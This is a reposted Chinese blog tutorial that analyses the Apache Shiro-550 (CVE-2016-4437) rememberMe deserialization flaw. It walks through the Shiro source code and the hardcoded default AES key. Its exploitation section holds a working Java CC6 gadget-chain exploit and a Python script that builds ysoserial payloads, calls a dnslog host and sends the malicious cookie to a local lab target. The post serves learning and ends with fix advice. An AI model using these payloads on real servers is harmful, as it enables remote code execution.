Java框架安全篇--Shiro-550漏洞

news2024/11/19 17:57:05

Java框架安全篇--Shiro-550漏洞

Shiro反序列化源码可以提取:

 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

JAVA反序列化就不说了,可以参考前面文章

https://blog.csdn.net/m0_63138919/article/details/136751184

初始Apache Shiro 

Apache Shiro是一个强大的并且简单使用的java权限框架.主要应用认证(Authentication),授权(Authorization),cryptography(加密),和Session Manager.Shiro具有简单易懂的API,使用Shiro可以快速并且简单的应用到任何应用中,无论是从最小的移动app到最大的企业级web应用都可以使用。

Shiro反序列化的漏洞有两个,550和721,这次我们先分析以下550 

Apache Shiro -550
Apache Shiro RememberMe 反序列化导致的命令执行漏洞

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理

编号:Shiro-550, CVE-2016-4437

版本:Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

 

 在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

加密过程

首先我们利用靶场进行登入 并点击然后抓包得到

可以看到返回的http头里面新增了Set-Cookie,rememberMe还有一串字符。然后既然与rememberMe有关 ,我们着重关注他的代码处理就行

我们在\shiro-shiro-root-1.2.4\shiro-shiro-root-1.2.4\core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java里面发现了

shiro启动时在构造函数中设置密钥为DEFAULT_CIPHER_KEY_BYTES

这个也就是我们要找到的默认的KEY了 我们跟进到 AbstractRememberMeManager继承的接口RememberMeManager(直接crtl+n 搜索就行)

RememberMeManager.java里面发现onSuccessfulLogin方法

 继续跟踪又回到 AbstractRememberMeManager.java里面发现里有一个判断isRememberMe的方法就是我们的有没有勾选RememberMe,如果没有就不走rememberIdentity,

    public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
        //always clear any previous identity:
        forgetIdentity(subject);

        //now save the new identity:
        if (isRememberMe(token)) {
            rememberIdentity(subject, token, info);
        } else {
            if (log.isDebugEnabled()) {
                log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +
                        "RememberMe functionality will not be executed for corresponding account.");
            }
        }
    }

那我们继续跟进 rememberIdentity函数方法,authcInfo的值就是我们输入root用户名,继续跟进,

    public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
        PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
        rememberIdentity(subject, principals);
    }

 在rememberIdentity方法中,一个函数就是转化为bytes

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
        rememberSerializedIdentity(subject, bytes);
    }
    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

跟进convertPrincipalsToBytes,进入convertPrincipalsToBytes方法,发现它会序列化,而且序列化的是传入的root用户名,然后调用encrypt方法加密序列化后的二进制字节,那我们继续跟encrypt方法

代码如下  

    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }

里面的CipherService cipherService = getCipherService() ,获取到加密模式,如果不为空就会进入到加密方法,加密方法是AES加密方法,而且是AES/CBC/PKCS5Padding

再看

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

明显这是获取秘钥了,直接跟进getEncryptionCipherKey ,

但是这个没有写值:

private byte[] encryptionCipherKey;

但是在构造方法里面有一个方法setCipherKey,可以看到传入有一个常量DEFAULT_CIPHER_KEY_BYTES

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

看到setCipherKey(DEFAULT_CIPHER_KEY_BYTES);是不是觉得很熟悉,原来我们最开始就已经获得了这个key

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

随后就传入 encrypt函数,继续更进

public ByteSource encrypt(byte[] plaintext, byte[] key) {
    byte[] ivBytes = null;
  

    boolean generate = this.isGenerateInitializationVectors(false);

    if (generate) {
      	 
   
        ivBytes = this.generateInitializationVector(false);
      
  
        if (ivBytes == null || ivBytes.length == 0) {
            throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");
        }
    }

    return this.encrypt(plaintext, key, ivBytes, generate);
}

基本的加密逻辑已知 序列化root+ key +iv 懂了之后 我们继续看rememberIdentity

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
        rememberSerializedIdentity(subject, bytes);
    }

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

通过上面的分析,可以得知加密后数据一直向上回溯,直到 rememberIdentity这个方法下有个 rememberSerializedIdentity方法 我们继续跟进,在shiro-shiro-root-1.2.4\shiro-shiro-root-1.2.4\web\src\main\java\org\apache\shiro\web\mgt\CookieRememberMeManager.java 找到了该方法

    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                        "request and response in order to set the rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
            }
            return;
        }


        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);

        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }

 下面的这个把刚刚加密的数据base64,然后都加入到cookie里面

cookie.setValue(base64);

所以我们可以得到cookie生成流程:

整个加密过程不是很复杂:

1、序列化principals对象的值(root)

2、将序列化后principals对象的值跟DEFAULT_CIPHER_KEY_BYTES进行AES加密,iv为随机,模式为CBC

3、生成Base64字符串,写入Cookie

解密过程 

从获取到客户端数据开始分析 查看AbstractRememberMeManager类的getRememberedPrincipals方法

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        // 获取被记住的主体身份的序列化字节数组
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            // 将序列化字节数组转换为主体身份集合
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

发现getRememberedSerializedIdentity方法,跟进getRememberedSerializedIdentity方法 

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

    if (!WebUtils.isHttp(subjectContext)) {
        if (log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                    "immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    }

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (isIdentityRemoved(wsc)) {
        return null;
    }


    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);
    String base64 = getCookie().readValue(request, response);
   
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        // 将 Base64 编码的字符串解码为字节数组
        byte[] decoded = Base64.decode(base64);
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;
    } else {

        return null;
    }
}

我们发现  String base64 = getCookie().readValue(request, response); 这就是使用readValue进行读取cookice中的数据,跟进 readValue方法

根据 Cookie 中的 name 字段(这个字段就是 rememberMe)获取 Cookie 的值最终把获取cookie里面的rememberme 给到 value 返回上一级函数,继续看getRememberedSerializedIdentity方法里面的解密 解密成为二进制的数据(bytes)

    byte[] decoded = Base64.decode(base64);
  • 再次回到AbstractRememberMeManager 类 进入 convertBytesToPrincipals 方法

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    // 获取加密服务对象
    if (getCipherService() != null) {
        // 解密
        bytes = decrypt(bytes);
    }
    // 对解密后的结果进行反序列化
    return deserialize(bytes);
}

进入decrypt函数 

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

主要观察下面这句话获取AES的秘钥 getDecryptionCipherKey()后,带着秘文和AES公钥进入decrypt函数

 ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

跟进到进入到JcaCipherService类的decrypt方法 

   public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

        byte[] encrypted = ciphertext;

        //No IV, check if we need to read the IV from the stream:
        byte[] iv = null;

        if (isGenerateInitializationVectors(false)) {
            try {
                //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
                //is:
                // - the first N bytes is the initialization vector, where N equals the value of the
                // 'initializationVectorSize' attribute.
                // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

                //So we need to chunk the method argument into its constituent parts to find the IV and then use
                //the IV to decrypt the real ciphertext:

                int ivSize = getInitializationVectorSize();
                int ivByteSize = ivSize / BITS_PER_BYTE;

                //now we know how large the iv is, so extract the iv bytes:
                iv = new byte[ivByteSize];
          	     //ivByteSize=16
          	    //ciphertext这个数组 0-16位 覆盖到 iv数组 ,相当于给 vi赋值 ciphertext的前16位
                System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

                //remaining data is the actual encrypted ciphertext.  Isolate it:
                int encryptedSize = ciphertext.length - ivByteSize;
                encrypted = new byte[encryptedSize];
                // ciphertext数组 ,从 16位后面的数据 赋值给encrypted 
                System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
            } catch (Exception e) {
                String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
                throw new CryptoException(msg, e);
            }
        }

        return decrypt(encrypted, key, iv);
    }

这里的函数的大概意思是将传入的ciphertext分成iv和encrypted两部分,在传入重载的decrypt中进行解密  继续跟进decrypt

    private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
        if (log.isTraceEnabled()) {
            log.trace("Attempting to decrypt incoming byte array of length " +
                    (ciphertext != null ? ciphertext.length : 0));
        }
        byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);
        return decrypted == null ? null : ByteSource.Util.bytes(decrypted);
    }

这就是进行AES解密 ,跟踪crypt函数,在JcaCipherService 中的 crypt 方法发现这也是AES解密的详细过程

    private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {
        if (key == null || key.length == 0) {
            throw new IllegalArgumentException("key argument cannot be null or empty.");
        }
        javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false);
        return crypt(cipher, bytes);
    }

解密完成后,一步步的return回到上级函数,回到convertBytesToPrincipals函数部分

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

终于看到deserialize函数 继续跟进 ,一直跟进到 DefaultSerializer 的 deserialize方法中,见到了readObject()方法,调用了readObject函数,也是触发各种恶意链的地方

最后返回至getRememberedPrincipals函数,得到了principal实例对象 

总结:

获取remeberMe的值——>base64解密——>AES解密——>反序列化

漏洞利用 

1、编写恶意的CC链,并转换成字节码

2、使用里面固定的key加密我们的CC链并进行序列化

2、放到Cookie里面的rememberMe进行访问

注意:

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。 
CC6:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class expShiro  {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");


        InvokerTransformer newTransformer = new InvokerTransformer("toString", null, null);


        Map hashMap1 = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap1,newTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,obj);
        HashMap hashMap2 = new HashMap();
        hashMap2.put(tiedMapEntry,"2");
        lazymap.clear();
        setFieldValue(newTransformer,"iMethodName","newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");


        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(hashMap2);
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(Base64.encodeToString(ciphertext.getBytes()));
        oss.close();

    }

}
dnslog :
import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
    # 这里使用CommonsCollections2模块
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

    # 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
    BS = AES.block_size

    # 按照加密规则按一定长度对齐,如果不够要要做填充对齐
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    # 泄露的key
    key = "kPH+bIxk5D2deZiIxcaaaA=="

    # AES的CBC加密模式
    mode = AES.MODE_CBC

    # 使用uuid4基于随机数模块生成16字节的 iv向量
    iv = uuid.uuid4().bytes

    # 实例化一个加密方式为上述的对象
    encryptor = AES.new(base64.b64decode(key), mode, iv)

    # 用pad函数去处理yso的命令输出,生成的序列化数据
    file_body = pad(popen.stdout.read())

    # iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_rememberMe_value


def dnslog(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value


if __name__ == '__main__':
    # cc2的exp
    payload = encode_rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
    print("rememberMe={}".format(payload.decode()))

    # dnslog的poc
    payload1 = encode_rememberme('http://ca4qki.dnslog.cn/')
    print("rememberMe={}".format(payload1.decode()))

    cookie = {
        "rememberMe": payload.decode()
    }

    requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)

工具利用:

ShiroAttack2 java环境1.8

修复: 

  1. 及时升级shiro版本,不再使用固定的密钥加密。

  2. 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

总结: 

这一块学习了2天,其实还是很多原理都没搞懂,但唯一不变的就是你去学,就肯定能学到点东西,一定要回过头来复习复习,毕竟面试的时候肯定会问

参考:

Shiro反序列化漏洞原理分析(Shiro-550/Shiro-721) - 知乎 (zhihu.com)

深入探究Shiro漏洞成因及攻击技术 - 先知社区 (aliyun.com)

Shiro 550 反序列化漏洞 详细分析+poc编写_shiro550 ysoserial-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1547545.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VOC(客户之声)赋能智能家居:打造个性化、交互式的未来生活体验

随着科技的飞速发展&#xff0c;智能家居已成为现代家庭不可或缺的一部分。然而&#xff0c;如何让智能家居更好地满足用户需求&#xff0c;提供更贴心、更智能的服务&#xff0c;一直是行业关注的焦点。在这个背景下&#xff0c;VOC&#xff08;客户之声&#xff09;作为一种用…

Spring框架介绍及详细使用

前言 本篇文章将会对spring框架做出一个比较详细的讲解&#xff0c;并且每个知识点基本都会有例子演示&#xff0c;详细记录下了我在学习Spring时所了解到全部知识点。 在了解是什么spring之前&#xff0c;我们要先知道spring框架在开发时&#xff0c;服务器端采用三层架构的方…

Amuse:.NET application for stable diffusion

目录 Welcome to Amuse! Features Why Choose Amuse? Key Highlights Paint To Image Text To Image Image To Image Image Inpaint Model Manager Hardware Requirements Compute Requirements Memory Requirements System Requirements Realtime Requirements…

集成ES分组查询统计求平均值

前言 之前其实写过ES查询数据&#xff0c;进行分组聚合统计&#xff1a; 复杂聚合分组统计实现 一、目标场景 机房机柜的物联网设备上传环境数据&#xff0c;会存储到ES存到ES的温湿度数据需要查询&#xff0c;进行分组后&#xff0c;再聚合统计求平均值 二、使用步骤 1.引入…

移动端Web笔记day03

移动 Web 第三题 01-移动 Web 基础 谷歌模拟器 模拟移动设备&#xff0c;方便查看页面效果&#xff0c;移动端的效果是当手机屏幕发生了变化&#xff0c;页面和页面中的元素也要跟着等比例变化。 屏幕分辨率 分类&#xff1a; 硬件分辨路 -> 物理分辨率&#xff1a;硬件…

《机器学习:引领数字化时代的技术革命》

随着科技的不断发展&#xff0c;机器学习作为人工智能的重要支柱之一&#xff0c;正迅速崛起并引领着数字化时代的技术革命。本文将从机器学习的技术进展、技术原理、行业应用案例、面临的挑战与机遇以及未来趋势预测和学习路线等方面展开探讨&#xff0c;为您揭示机器学习的神…

c++的学习之路:3、入门(2)

一、引用 1、引用的概念 引用不是新定义一个变量&#xff0c;而是给已存在变量取了一个别名&#xff0c;编译器不会为引用变量开辟内存空 间&#xff0c;它和它引用的变量共用同一块内存空间。 怎么说呢&#xff0c;简单点理解就是你的小名&#xff0c;家里人叫你小名&#…

配置DNS后,SSH登录变慢

问题描述 最近使用ssh时出现登录非常缓慢的状态&#xff0c;登录一般需要花费20秒以上才能正常登陆&#xff0c; Connecting to *****:22... Connection established. To escape to local shell, press CtrlAlt].等待十秒钟后&#xff0c;提示登录成功 Last login: Mon Jun …

k8s系列之十七 Istio中的服务治理

删除前面配置的目的地规则 [rootk8s-master ~]# kubectl delete destinationrule details destinationrule.networking.istio.io "details" deleted [rootk8s-master ~]# kubectl delete destinationrule productpage destinationrule.networking.istio.io "pr…

00000基础搭建vue+flask前后端分离项目

我完全是参考的这个vue3flask前后端分离环境速建_flask vue3-CSDN博客 安装了node_js&#xff08;添加了环境变量&#xff09; 环境变量 把原来的镜像源换成了淘宝镜像源 npm config set registry https://registry.npmmirror.com/ 查看版本证明安装成功 npm - v 安装npm i…

caffe | 使用caffe SSD制作VOC07112 lmdb数据集

git clone -b ssd https://github.com/weiliu89/caffe.git caffe_ssdcd caffe_ssdcp caffe/Makefile.config caffe_ssd/# 把 cuda 和 cudnn 关了&#xff0c;用 cpu 版本的就好了 make -j32 make pycaffemake test -j8 make runtest -j8 vim ~/.bashrc# 加入 export LD_LIBRAR…

Day49:WEB攻防-文件上传存储安全OSS对象分站解析安全解码还原目录执行

目录 文件-解析方案-目录执行权限&解码还原 目录执行权限 解码还原 文件-存储方案-分站存储&OSS对象 分站存储 OSS对象存储 知识点&#xff1a; 1、文件上传-安全解析方案-目录权限&解码还原 2、文件上传-安全存储方案-分站存储&OSS对象 文件-解析方案-目…

数据分析之Power Pivot多表数据建模

Power Pivot 介绍&#xff1a; 可以融合多个数据表可夺标关联搭建复杂数据模型一次建模&#xff0c;一键刷新DAX函数编写公式计算可将数据模型轻松移植到PBI和SQL中 1.将数据导入power pivot(power pivot------添加到数据模型) 2.导入其他表格&#xff0c;并有一定的关联 导入…

Cesium for UE-03-添加数据集(倾斜摄影)

继续上一章节&#xff0c;在创建了项目和关卡的基础上添加倾斜摄影 重新打开上次的项目和关卡 如果你已经关掉了上次的项目和关卡&#xff0c;可以重新打开ue&#xff0c;然后选择 选择 文件-打开关卡&#xff0c;在弹出的窗口中&#xff0c;选择 上次的关卡&#xff0c;并点击…

web学习笔记(四十五)Node.js

目录 1. Node.js 1.1 什么是Node.js 1.2 为什么要学node.js 1.3 node.js的使用场景 1.4 Node.js 环境的安装 1.5 如何查看自己安装的node.js的版本 1.6 常用终端命令 2. fs 文件系统模块 2.1引入fs核心模块 2.2 读取指定文件的内容 2.3 向文件写入指定内容 2.4 创…

【双指针】Leetcode 有效三角形的个数

题目解析 611. 有效三角形的个数 算法讲解 回顾知识&#xff1a;任意两数之和大于第三数就可以构成三角形 算法 1&#xff1a;暴力枚举 int triangleNumber(vector<int>& nums) {// 1. 排序sort(nums.begin(), nums.end());int n nums.size(), ret 0;// 2. 从…

基于ACO蚁群优化的UAV最优巡检路线规划算法matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 4.1 蚂蚁移动和信息素更新 4.2 整体优化过程 5.完整程序 1.程序功能描述 基于ACO蚁群优化法的UAV最优巡检路线规划。蚁群优化算法源于对自然界蚂蚁寻找食物路径行为的模拟。在无人机巡检路…

Redis入门三(主从复制、Redis哨兵、Redis集群、缓存更新策略、缓存穿透、缓存击穿、缓存雪崩)

文章目录 一、主从复制1.单例redis存在的问题2.主从复制是什么&#xff1f;3.主从复制的原理4.主从搭建1&#xff09;准备工作2&#xff09;方式一3&#xff09;方式二 5.python中操作1&#xff09;原生操作2&#xff09;Django的缓存操作 二、Redis哨兵&#xff08;Redis-Sent…

SQL109 纠错4(组合查询,order by..)

SELECT cust_name, cust_contact, cust_email FROM Customers WHERE cust_state MI UNION SELECT cust_name, cust_contact, cust_email FROM Customers WHERE cust_state IL ORDER BY cust_name;order by子句&#xff0c;必须位于最后一条select语句之后

【C语言】C语言运算符优先级详解

文章目录 &#x1f4dd;前言&#x1f309;运算符优先级简述 &#x1f320;逻辑与和逻辑或&#x1f309;赋值和逗号运算符 &#x1f320;位运算&#x1f309;条件表达式&#x1f309;位运算与算术运算结合&#x1f309;混合使用条件表达式和赋值运算符&#x1f309; 逗号运算符的…